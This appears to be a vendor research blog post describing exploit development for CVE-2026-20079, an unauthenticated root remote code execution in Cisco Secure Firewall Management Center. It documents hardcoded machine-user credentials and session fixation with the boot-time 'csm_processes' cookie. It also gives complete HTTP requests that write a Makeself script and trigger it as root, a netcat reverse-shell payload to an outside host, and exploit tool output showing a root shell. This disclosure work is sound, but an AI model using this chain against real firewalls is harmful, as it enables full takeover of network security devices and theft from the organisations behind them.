On March 4, 2026, Cisco published an advisory for CVE-2026-20079, a CVSS 10.0 vulnerability in Cisco Secure Firewall Management Center (FMC). Since Cisco networking gear tends to be a common adversary target, our Initial Access Intelligence team’s interest was immediately piqued. Censys finds about 300 Cisco FMC instances on the public internet, while FOFA finds between 600 and 700 exposed systems. This blog goes into detail on the exploit development process for CVE-2026-20079, which was an unexpectedly wild ride.
CVE-2026-20079 arises when a startup process on the FMC system creates a partial csm_processes session in the sfsnort.sessions database. If no users authenticate after the system boots, the session persists and can be upgraded into permissions usable by an attacker, who could then call a significant set of CGI scripts.
VulnCheck identified that certain scripts could be chained such that a low-privileged session ID could be upgraded into a UI login session, after which RCE is possible via a multi-step process:
- The
csm_processessession is created in the database at boot and is marked as machine process with a static session ID, instead of a dynamic UUID like the rest of the system - The
csm_processessession ID could be upgraded into a UI session via hardcoded credentials with the report user, which then uses thecsm_processessession UI permissions to allow authentication. This creates a set of required session parameters that are needed for accessing the API calls, namelysf_action_id. The hardcoded machine user credentials arereport:snortrules. - The report user session is then granted the rights to view the UI pages containing the
sf_action_id(no actual user privileges are assigned), which is extracted. - An arbitrary file write is conducted on sajaxintf.cgi via the all user-privileged validateLicense bulk AJAX API endpoint, which writes Unicode-escaped data to
/var/tmp/license.tmp. For the purposes of our exploit, we wrote a special shell script with the “Makeself” Cisco-defined format that utilizes several hardcoded strings. - The shell script that we wrote to license.tmp is then executed by calling the “all”-privileged allowed
pjb.cgiendpoint with theSF::UI::DataObjectLibrary::upgradeReadinessCalland calling the/var/tmp/license.tmpshell script as the target. - The FMC system then processes the license.tmp file as an upgrade script and triggers an “install” process that ends up executing a
SF::System::Wrappers::RunCmdPerl function that runs the script as root.
In order for the authentication bypass to succeed, the FMC host must have been rebooted, and the session must still exist in the database. Our team identified several instances where the required session will not be present, which would prevent exploitation until the system reboots. Any of the following may clear the injected session:
- Dashboard and widget interaction from authenticated users clears the “old sessions,” including the old
csm_processessession - Cloud managed sessions interactioning with the web UI
- Periodic cleanups are triggered on account authentication, which happens sporadically for the automated
csm_processesuser.
This means that it’s likely the only time the target will be exploitable is shortly after boot, or on systems that aren’t commonly interacted with or directly authenticated to the web UI.
The Cisco advisory for CVE-2026-20079 states that:
A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.
This vulnerability is due to an improper system process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device.
To our hacker ears this says very little, and by not saying a lot, the things it does say matter a ton:
- The boot time statement tells me that something is up with session handling at system boot time
- The vulnerability’s being unauthenticated immediately tells me that the boot time process enabled some session manipulation to reach management scripts, or that some hard-coded process allows a set of known values to be manipulated into a real session.
The only way to know was to dig in.
After patch diffing, a few things became apparent: The FMC system was a complex set of APIs that used Apache HTTPD redirects and proxy rewrites to access a large set of Perl, Java, and Go services running on the host, and the changes related to CVE-2026-20079 were relatively small.
The primary changes were to the Apache HTTPD configuration file and to the /Volume/7.7.12-3/sf/lib/perl/5.34.1/SF/Auth.pm Perl Mojolicious CGI authentication handler, with a grand total of around 25 lines of code changed. Great, this should be easy, right? (This is a literary device called foreshadowing.)
The first change was to the httpsd_conf.tt template located at /Volume/7.7.12-3/sf/htdocs/templates/html_templates/stig/httpsd_conf.tt. This is used as a template to generate the configuration for the Apache web service that functions as the main entry point for routing on FMC. The changes below show that the only addition was to add a check for whether the remote address is from the local system, and if it is, to set a X-Auth-User-Type header to 1:
SetEnvIf Remote_Addr ^127\.0\.0\.1$|^::1$ request_is_local
RequestHeader set X-Auth-User-Type 1 env=!request_is_local
A corresponding addition was made to the Perl authentication handling library at /Volume/7.7.12-3/sf/lib/perl/5.34.1/SF/Auth.pm, which adds the following validation for the previously added header; if a session exists for an account and the header type does not match the expected user type, it will trigger an unauthorized error:
# verify user type
if ($session) {
my $userTypeFromSession = $session->param('usertype');
my $userTypeFromHeader;
if (ref($q) eq 'Mojo::Message::Request') {
$userTypeFromHeader = $q->headers->header('X-Auth-User-Type');
} else {
$userTypeFromHeader = $q->http('X-Auth-User-Type');
}
if (
defined $userTypeFromHeader &&
$userTypeFromHeader == AUTH_IS_USER &&
defined $userTypeFromSession &&
$userTypeFromSession != AUTH_IS_USER
) {
my $username = $session->param('username');
warn "CheckLogin: Incorrect user type: $userTypeFromHeader != $userTypeFromSession ($username)";
return 0 if $hasReturnFlag;
Unauthorized($q, $session);
}
}
These two changes let us know that the authentication bug relates to the “user type” and that any interaction with the web UI will force the user type to be a specific value. This, in turn, means that the authentication bug likely has to do with a non-AUTH_IS_USER user.
The Auth.pm file defines a set of user types:
use constant AUTH_IS_NONE => 0;
use constant AUTH_IS_USER => 1;
use constant AUTH_IS_MACHINE => 2;
So we also know that the vulnerability is likely related to the AUTH_IS_MACHINE user type, as the Apache changes force the web server interaction into a 1 or AUTH_IS_USER state. Time to start hunting for the potential users and authentication mechanisms for the AUTH_IS_MACHINE type.
After searching the Perl code base and checking the database, we identified that the following are hardcoded user credentials that are extracted from the /Volume/7.7.11-1061/sf/bin/repair_users.pl script:
# Now create other system users
create_user("report", "ReportUser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
change_password("report", "snortrules");
create_user("sftop10user", "Top10User", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
change_password("sftop10user", "snortrules");
create_user("SRU", "SRUuser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
change_password("SRU", "snortrules");
create_user("Sourcefire", "SourcefireUser", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
change_password("Sourcefire", "snortrules");
create_user("csm_processes", "csm_processes", "none", "none", SF::Auth::AUTH_IS_MACHINE, 0);
change_password("csm_processes", "csmdaemon");
These hardcoded credentials corresponded to the hashes stored in the FMC system’s MySQL server in the sfsnort.users database table, meaning that they are at least partially hardcoded. Immediately, our first instinct was to try authenticating with every authentication entry point we could find with these credentials, but no dice: Machine users are unable to authenticate to the web interface and are not allowed to interact with the routed API services. By inspecting theApache logs and packet captures, we could see that these processes were run locally, and each of these users would occasionally interact with portions of the API from the local machine perspective.
This gave us a few hints about where these machine user accounts were created and some of their common uses. The next step was to figure out what “This vulnerability is due to an improper system process that is created at boot time” meant in Cisco’s advisory.
During boot time, a few of the above accounts run scripts of the startup process for FMC. Only the Go binary /Volume/7.7.11-1061/sf/bin/auth-daemon handles a large number of initial startup actions. One of the primary actions is to create a session for the csm_processes user to kick-off its first-start logic, which ends in the following database entry containing the Perl serialized session information:
MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions;
| a_session
| $D = {'username' => 'csm_processes','original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','session_expire_check' => 1,'useruuid' => '8acb8f4a-c40d-11e3-95aa-54f999c07ac9','usertype' => 2,'_SESSION_CTIME' => 1773962523,'_SESSION_ATIME' => 1773962523,'_SESSION_ID' => 'csm_processes','active' => 0,'_SESSION_REMOTE_ADDR' => '','_SESSION_EXPIRE_LIST' => {},'VMS_SESSION_ID' => 'csm_processes','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f'};;$D |
Notably, the sfsnort.sessions database and table are the same locations where valid web UI authentications happen. No other machine accounts appear to have sessions created in this portion of the database, and the only other a_session objects that get created are from user web authentication. A few things about the above:
activeset to0means that the session is activesession_expire_checkset to1means that the session expiration is checked
Additionally, when a user logs into the web UI, normally the session looks like the following:
MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions;
| a_session |
| $D = {'active' => 0,'last_csm_refresh' => 1774465805,'sf_action_id' => 'a490cd6e67ccde81d131684846d7a13c','original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','_SESSION_CTIME' => 1774465805,'_SESSION_EXPIRE_LIST' => {'session_expire_check' => 3600},'username' => 'admin','session_expire_check' => 1,'user_access_type' => 'rw','last_login' => {'last_login_time' => 1773962153,'remote_host_ip' => '10.0.1.10'},'useruuid' => '68d03c42-d9bd-11dc-89f2-b7961d42c462','_SESSION_REMOTE_ADDR' => '10.0.1.10','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','domains' => '[{"name":"Global","uuid":"e276abec-e0f2-11e3-8169-6d9ed49b625f"}]','_SESSION_ATIME' => 1774465819,'IS_WORKFLOW_MODE' => 'false','VMS_SESSION_ID' => '-1102361566','usertype' => 1,'_SESSION_ID' => '80a3ec54ed31807a655fb7d2018c69cf','_SESSION_ETIME' => 3900};;$D |
| $D = {'_SESSION_ATIME' => 1774465771,'original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','useruuid' => '8acb8f4a-c40d-11e3-95aa-54f999c07ac9','current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','_SESSION_EXPIRE_LIST' => {},'usertype' => 2,'_SESSION_CTIME' => 1774465771,'active' => 0,'_SESSION_ID' => 'csm_processes','VMS_SESSION_ID' => 'csm_processes','session_expire_check' => 1,'_SESSION_REMOTE_ADDR' => '','username' => 'csm_processes'};;$D |
This shows that a few more things are missing or different between the machine user authentication and the admin user authentication:
user_access_type,sf_action_id,domains, and more are not present in thecsm_processessession object.- Some of the values appear to differ in content type, notably
_SESSION_IDparameters and_SESSION_ID
The most interesting part for now is that the _SESSION_ID value corresponds to the web UI admin user’s CGISESSID=80a3ec54ed31807a655fb7d2018c69cf cookie value and is generated dynamically for normal user authentication. Immediately, we attempt to set CGISESSID to be CGISESSID=csm_processes in order to correspond to the startup process value.
Sure enough, a request to the /help/about.cgi CGI endpoint without a cookie set returns an invalid session error:
GET /help/about.cgi HTTP/1.1
Host: 10.0.0.226
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 302 Found
Date: Wed, 25 Mar 2026 19:30:07 GMT
Server: Mojolicious (Perl)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: text/plain; charset=utf-8
Location: /ui/login?target=%2Fmojo-async%2Fhelp%2Fabout.cgi
Content-Length: 19
Cache-Control: no-store
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Invalid session ID
But, with our special csm_processes session ID, we reach the page and get a HTTP 200 response, and the system data renders:
GET /help/about.cgi HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=csm_processes
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 25 Mar 2026 19:28:23 GMT
Server: Mojolicious (Perl)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
Cache-Control: no-store
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Referrer-Policy: same-origin
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 25555
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
DOCTYPE html>
...snip...

Sweet! It appears we found the issue, and it looks to be as easy as using a hardcoded session. Now we can just set our cookie to that value and try and reach any of the pages…. and every page functionally triggers the following error:

Using the hardcoded session and reaching for any of the endpoints triggers errors in the log similar to the following:
[2026-03-25 19:41:00.32860] [14601] [debug] 200 OK (2.203898s, 0.454/s)
[2026-03-25 19:41:00.32865] [14601] [debug] after dispatch worker inspection
[2026-03-25 19:41:46.03099] [14601] [debug] Resetting modules...
[2026-03-25 19:41:46.03807] [14601] [debug] Module reset complete
[2026-03-25 19:41:46.03828] [14601] [debug] GET "/platinum/ApplianceInformation.cgi" (27828f1b)
[2026-03-25 19:41:46.03841] [14601] [debug] Routing to controller "SF::Mojo::Handlers::ApplianceInformationHandler" and action "mojo_handler"
[2026-03-25 19:41:46.03895] [14601] [info] handle_auth: Trying to connect to /platinum/ApplianceInformation.cgi
[2026-03-25 19:41:46.04650] [14601] [info] User [csm_processes] does not have page permission [configuration]. Access denied. at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 3268.
[2026-03-25 19:41:46.04675] [14601] [info] Unauthorized access to /platinum/ApplianceInformation.cgi
called from SF::Util::Stacktrace::ToString at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/CommonUtils.pm, line 119
called from SF::Mojo::CommonUtils::Unauthorized at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/CommonUtils.pm, line 266
called from SF::Mojo::CommonUtils::handle_auth at /usr/local/sf/lib/perl/5.34.1/SF/Mojo/Handlers/ApplianceInformationHandler.pm, line 19
...snip...
called from Mojo::Server::Prefork::_spawn at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Prefork.pm, line 100
called from Mojo::Server::Prefork::_manage at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Prefork.pm, line 85
called from Mojo::Server::Prefork::run at /usr/lib64/perl5/site_perl/5.34.1/Mojo/Server/Hypnotoad.pm, line 74
called from Mojo::Server::Hypnotoad::run at /usr/local/sf/bin/mojo_server_wrapper.pl, line 38
[2026-03-25 19:41:46.04803] [14601] [info] Use of uninitialized value $key in concatenation (.) or string at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
[2026-03-25 19:41:46.04806] [14601] [info] getSFActionID: <> **************************************************** at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
[2026-03-25 19:41:48.04822] [14601] [info] Use of uninitialized value $key in concatenation (.) or string at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
[2026-03-25 19:41:48.04829] [14601] [info] getSFActionID: <> **************************************************** at /usr/local/sf/lib/perl/5.34.1/SF/Auth.pm line 4217.
[2026-03-25 19:41:48.21809] [14601] [info] Use of uninitialized value in string eq at /usr/local/sf/lib/perl/5.34.1/SF/Amplitude.pm line 40.
[2026-03-25 19:41:48.22680] [14601] [debug] 200 OK (2.188507s, 0.457/s)
[2026-03-25 19:41:48.22691] [14601] [debug] after dispatch worker inspection
As it turns out, nearly every CGI page of the application contains a snippet similar to the following:
use SF::Auth;
my $session = SF::Auth::GetSession($cgi);
SF::Auth::CheckLogin($cgi, $session);
Internally to the application, the current session username is cross-referenced with the permission logic Permission.pm module, and uses the permissions assigned to the user for whenever CheckLogin is run. This means we can pass the basic authentication check for any page that only uses SF::Auth::GetSession, but any calls to SF::Auth::CheckLogin or a direct permission check will have to have permissions of the user. Well what does our csm_processes user permission have? None. Turns out the machine user does not have any permissions assigned, and we are functionally restricted to the lowest-privileged user account.
This immediately presented a huge problem, as we generally could not interact with any of the APIs or CGI scripts (with very few exceptions). We began to attempt to check authentication logic for a few set of entry points, testing as many as we could find and cross-referencing what a normal admin UI user would be able to interact with.
Testing showed that we only had access to a small handful of API calls that checked session validity, a few CGI scripts, and not a single one of the /api routes in Apache. We got stuck here for quite a while attempting to find what we could access with our minimally privileged user, as the words “successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device” echoed in our heads.
Our UI login testing and cross referencing with the csm_processes session showed a couple of exceptions to the CheckLogin logic that stood out:
- The
pjb.cgiscript that appears to be used for bulk API requests does not directly check logins, only sessions; but then it cross-references the permissions that are callable with a set of permission maps to functions defined insf/lib/perl/5.34.1/SF/UI/PJB.pm. This includes a specialallpermission. - The
sajaxintf.cgiscript handles async AJAX requests; it has a set of functions that any user appears to be able to call, and that correlate to functions defined insf/lib/perl/5.34.1/SF/UI/SajaxIntf.pmthat individually appear to perform most of their logic.
Great, those sound like perfect candidates, but both of these APIs have odd interfaces. For sajaxintf.cgi, requests are sent as a JSON array, and the ordered arguments correlate to the application functions and their arguments. The following call sends a request to the batchResults function. All the following parameters are arguments for that function:
POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772847841952 HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=199ceac425aaa91610edd959ce049568
Content-Length: 143
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Connection: keep-alive
["a490cd6e67ccde81d131684846d7a13c","batchResults",null,10000,"getRulesForCategory","policy_modifications","","","Category::browser-chrome",""]
Meanwhile, the pjb.cgi script has a similar interface, but instead uses form value fields and a parameter field that contains the JSON array field that corresponds to a Perl object. In the following example the SF::IdentityPolicy::IdentityPolicy::getPolicyList function is called and parameters is an encoded empty JSON array ([]) indicating no arguments are passed:
POST /pjb.cgi HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=199ceac425aaa91610edd959ce049568
Content-Length: 177
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Connection: keep-alive
&function=SF::IdentityPolicy::IdentityPolicy::getPolicyList¶meters=%5B%5D&get_all_errors=1&sf_action_id=a490cd6e67ccde81d131684846d7a13c&ss=IdentityPolicyList&am=Page%20View
As you may have noticed, both requests contain the value a490cd6e67ccde81d131684846d7a13c, the first in the first array parameter and the second in the sf_action_id parameter. This is where the next hurdle comes into play, because this value acts as a CSRF token that is tied to user sessions. Looking at the original startup-created session SQL response, we see that the admin user session has the sf_action_id value set, and the csm_processes session does not. This means that if we make a request to those endpoints, we will not be able to pass any of the basic validation checks, because that session does not have the sf_action_id value set. This results in the inability to call any of the functions in these applications and also causes almost all API calls to fail uniformly. These also correlate directly to the session value so are not reusable between user sessions.
We need to get a sf_action_id or a permission upgrade to be able to functionally do anything beyond version checking.
Our first thought was to look at all the session value manipulations and any interactions with permissions, which turned out to be a dead end: In our testing, there were almost no session manipulations that could occur unauthenticated. Our second idea was to look at other APIs and reverse auth-daemon for any interactions. Midway through that long process and many failed sinks, something occurred to me. The csm_processes session value isn’t inherently tied to the csm_processes authentication. According to the Auth.pm code, an authentication to the login page would happily take an existing session value and make a new session for the user — and it would happily initialize a set of options on the existing session:
my $authing = 0;
sub GetSession {
my ($q, $silent) = @_;
#warn "Get Session not silent: ".SF::Util::Stacktrace::ToString() if (!$silent);
# Return the cached session if we have one
return $_SESSION if (defined $_SESSION);
$q = new SF if !defined $q;
# If they were fishing for a cached session but there isn't one, return no session
my $sid;
if (ref($q) eq 'Mojo::Message::Request') {
$sid = find_session_id_from_cookies($q->cookies);
} else {
# Get the session ID from the cookie
$sid = $q->cookie($CGI::Session::NAME);
}
return undef if !defined $sid;
# Initialize sfclient
return undef if (sfclient::sfclient_Init() != 0);
# Cache the session and return it
$_SESSION = MakeSession($sid, $silent);
if (ref($q) eq 'Mojo::Message::Request') {
$CURRENT_REQ_URL = $q->url->path->to_string;
$CURRENT_REQ_METHOD = $q->method;
setCurrentReqParams($q->params->to_hash);
}
else {
$CURRENT_REQ_URL = $q->url( -absolute => 1);
$CURRENT_REQ_METHOD = $q->request_method;
setCurrentReqParams(scalar $q->Vars());
}
return $_SESSION;
}
The biggest issue was very much a chicken and egg problem: We needed credentials to be able to upgrade a session. Then while staring at the authentication code for the hundredth time, it occurred to me: The current session checks that are applied to the csm_processes session have the variables necessary for UI authentication. Attempting to use the hardcoded csm_processes:csmdaemon credentials to log in, unfortunately, causes the session to immediately expire (as is stated in the session information), and the boot session is entirely removed, locking us out of the attack path.
But, there’s no reason that the csm_processes session ID couldn’t be upgraded by a different machine user, and because the values are set to be able to pass UI authentication, all we had to do was take one of the hardcoded credentials that was not the csm_processes user and authentication would be happy even if it’s a non-UI machine user.
Sure enough, we could authenticate with report:snortrules credentials with the CGISESSID=csm_processes session set, after which the MakeSession function is called as the report user, the checks validate the machine user as a UI user, and the session values are updated.
POST /login.cgi?logon=Continue HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=csm_processes;
Content-Length: 43
Accept-Language: en-US,en;q=0.9
Origin: https://10.0.0.226
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
username=report&password=snortrules&target=
And the session values in the database are upgraded, the server responds with a successful authentication that redirects to the UI / and a Set-Cookie set to the already established (but now upgraded) CGISESSID=csm_processes. The session now has more session values set, including the necessary sf_action_id:
MariaDB [(none)]> SELECT a_session FROM sfsnort.sessions WHERE id='csm_processes';
| $D = {'useruuid' => '616931da-e3df-11dc-8002-930b8c1d4d5e','user_access_type' => 0,'_SESSION_ID' => 'csm_processes','last_csm_refresh' => 1773962941,'current_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','VMS_SESSION_ID' => 'csm_processes','_SESSION_ATIME' => 1773962943,'original_domain' => 'e276abec-e0f2-11e3-8169-6d9ed49b625f','username' => 'report','_SESSION_CTIME' => 1773962523,'_SESSION_EXPIRE_LIST' => {'session_expire_check' => 3600},'_SESSION_REMOTE_ADDR' => '','usertype' => 1,'_SESSION_ETIME' => 3900,'session_expire_check' => 1,'last_login' => {'remote_host_ip' => '10.0.1.10','last_login_time' => 1773951618},'sf_action_id' => 'fe8b71b0344419ae464328a578a12902','active' => 0};;$D |
Another redirect to /ui/user/general can be followed, and then the FMC “DDD” logic renders a UI template containing a call to the template SF::Auth::getSFActionID() that renders that session value on the page:
...snip...
<script type="text/javascript">
var sf_action_id = "fe8b71b0344419ae464328a578a12902";
var __prefetch = {"capabilities":{"hideMenuForOnbox":0,"isLamplighterEnabled":0,"isOnboxManaged":0,"showDeployDialog":0,"isStandbyDC":"0","isExternalStorageEnabled":0,"isWorkflowEnabled":1,"isSyslogAllLogsToFmc":1,"activityId":0,"isCDODeployment":0,"isNATExemptEnabled":1,"isUM":1,"isChangeMgmtWorkflowEnabled":0,"exposeDNSReputationEnforcement":1},"static":{"locale":"en_US","SF::MultiTenancy::isDomainObjInfoVisible":{"isDomainInfoVisible":0}}};
// Backdraft integration
var BackdraftSyncIntegration = (function() {
var currentHelpTopic = undefined;
var navMap = {};
...snip...
Now that a sf_action_id is accessible, we can make calls to the previous pjb.cgi and sajaxintf.cgi endpoints with the retrieved sf_action_id.
Now that we can finally reach the CGI scripts and call them, the team crawled through these functions looking for primitives to use. We identified three useful calls:
- An arbitrary write via
sajaxintf.cgiusing thevalidateLicensecall that will take arbitrary data and write it to/var/tmp/license.tmp. Binary data can be written to that by providing JSON Unicode-escaped values, such as\u000afor newlines. - An arbitrary Perl Storable deserialization via
sajaxintf.cgiusing thebatchResultfunction call that allows a path traversal to../license.tmp, and then will call/sf/lib/perl/5.34.1/SF/UI/SajaxIntf.pmand thebatchResultfunction that contains another call toSF::Util::DeSerializethat finally callsStorable::retrieve(with the unsafelocal $Storable::Eval = $Storable::Eval = 1;setting). It’s likely that this is exploitable to directly achieve RCE, but no usableSTORABLE_thawgadgets were found during testing. - An upgrade package installer function call to
SF::UI::DataObjectLibrary::upgradeReadinessCallvia thepjb.cgicode and a set of options pointing to thelicense.tmpfile that validates a large set of parameters and options, but can be used to run “installable” package types provided by Cisco.
The update types can be checked in sf/lib/perl/5.34.1/SF/Update.pm with the GetUpdateFileType that checks the first 1024 bytes and assigns a type to the “install” file:
EMPTY– emptyGPG– GPG-signed install packageRPM– and RPM packageTARBALL_XZ– an XZ-compressed tarball fileBUNDLE– a custom Cisco install format that contains abundle.tarfileSCRIPT– A shell script that contains#!/bin/shMAKESELF– A shell script that also contains the hardcoded string# This script was generated using MakeselfSTUB– a split stub JSON fileUNKNOWN– Anything else
The upgradeReadinessCall will only reach the Install logic under a subset of these types, and the trivial SCRIPT will not work for basic execution. Luckily, MAKESELF is also just a shell script with a slightly different format and a hardcoded string. The upgradeReadinessCall will validate a few UUID parameters and the filetype before passing it to SF::Update::readinessInstall that calls SF::Update::GetUpdateFileInfo, runs a large set of checks, and then triggers SF::Update::Install on the file. That in turn calls SF::Update::Install::_aqInstallTask that does disk space checks, validates signatures, performs a few more checks, and then queues the task into SF::System::Privileged::InstallUpdate with the filename. This package finally calls SF::System::Wrappers::RunCmd, which ironically checks whether the caller was run from SF::System — and if so, it marks the first command argument to be /usr/bin/sudo and runs the following eval indicating code execution can be achieved:
# Open SFNULL to /dev/null so there is less
# chance of someone inputting commands
open(SFNULL, "/dev/null");
warn Dumper($dumpcmd) if $DEBUG;
# Traps exceptions for the open call.
eval
{
$pid = open3(*SFNULL, *OUTH, *ERRH, @$cmd);
};
The full process of this path execution from the file write is as follows:
The file write to sajaxintf.cgi is called with the callServerFunc URL parameter and an arbitrary Unix timestamp; then the body content is the JSON array containing an ordered array of parameters. In our case, we call the validateLicense function and place our payload in a MAKESELF validating script that uses the JSON Unicode-escaped format for any newline characters (normal \n will not validate, and arbitrary binary data can actually be written to the file with this technique):
POST /sajaxintf.cgi?rs=callServerFunc&rstime=1772817208099 HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=csm_processes
Content-Length: 216
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Origin: https://10.0.0.226
Referer: https://10.0.0.226/platinum/IDSRuleList.cgi
Connection: keep-alive
[
"2c33d78906e48adf429099629b0e1acf",
"validateLicense",
"#!/bin/sh\u000A# This script was generated using Makeself\u000A\u000Arm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.1.10 1337 >/tmp/f\u000A"]
The server will respond with an error saying that the license is invalid:
HTTP/1.1 200 OK
Server: Mojolicious (Perl)
Content-Type: application/json
Content-Length: 219
{"data":{"lic":"#!/bin/sh\n# This script was generated using Makeself\n\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.1.10 1337 >/tmp/f\n","statusmsg":"License is Invalid.\n","status":0,"isBaseLicense":0}}
But on the disk, the file will be deserialized from JSON and written to /var/tmp/license.tmp with the fully formed shell script. Finally, the pjb.cgi interface is called. This also takes a set of special arguments:
function: the function being called by the server. In our case, this isSF::UI::DataObjectLibrary::upgradeReadinessCall, but in the exploit’s case can be any function that has anallpermission mark.parameters: a JSON array that contains all the parameters for the function call in the order that they are called by the function. In this case, we are sending["/var/tmp/license.tmp",["42fb13fa-82e0-47a1-b147-3d64c8b9c708"]]which contains the location of install files and a random UUID that is required to select the “local install” option of the readiness call (theoretically, if the system has a remote install setup and the sensors’ UUIDs are known, this should also allow execution on remote sensors).sf_action_id: contains the retrieved CSRF token
Calling this will finally trigger the remote code execution as root:
POST /pjb.cgi HTTP/1.1
Host: 10.0.0.226
Cookie: CGISESSID=csm_processes
Content-Length: 224
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
function=SF::UI::DataObjectLibrary::upgradeReadinessCall¶meters=%5b%22%2fvar%2ftmp%2flicense.tmp%22%2c%5b%2242fb13fa-82e0-47a1-b147-3d64c8b9c708%22%5d%5d&get_all_errors=1&sf_action_id=f1f81c499eae90c14444e2a332e6b932&ss=
poptart@grimm $ ./build/cve-2026-20079_linux-amd64 -lhost 10.0.1.10 -lport 1337 -rhost 10.0.0.226 -rport 443 -s -e
time=2026-03-19T19:00:38.699-06:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2026-03-19T19:00:38.778-06:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337"
time=2026-03-19T19:00:38.779-06:00 level=STATUS msg="Starting target" index=0 host=10.0.0.226 port=443 ssl=true "ssl auto"=false
time=2026-03-19T19:00:38.779-06:00 level=STATUS msg="Sending initial request for session fixation using hardcoded report user credentials"
time=2026-03-19T19:00:40.103-06:00 level=STATUS msg="CGISESSID csm_processes Session ID exists, continuing redirect"
time=2026-03-19T19:00:40.553-06:00 level=STATUS msg="Session successfully redirected, continuing redirect logic to get action token"
time=2026-03-19T19:00:40.702-06:00 level=SUCCESS msg="Authentication successful, extracted sf_action_id: 0d3973edb30b9061fc55a0187985949d"
time=2026-03-19T19:00:40.702-06:00 level=STATUS msg="Writing payload to disk via license validation on sajaxintf.cgi"
time=2026-03-19T19:00:40.730-06:00 level=STATUS msg="Triggering payload on pjb.cgi via license file and upgradeReadinessCall"
time=2026-03-19T19:00:40.973-06:00 level=SUCCESS msg="Caught new shell from 10.0.0.226:44208"
time=2026-03-19T19:00:40.973-06:00 level=STATUS msg="Active shell from 10.0.0.226:44208"
sh: cannot set terminal process group (14096): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.1# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),91(certs)
sh-5.1# exit
time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="C2 received shutdown, killing server and client sockets for SSL shell server"
time=2026-03-19T19:00:43.064-06:00 level=STATUS msg="Connection closed: 10.0.0.226:44208"
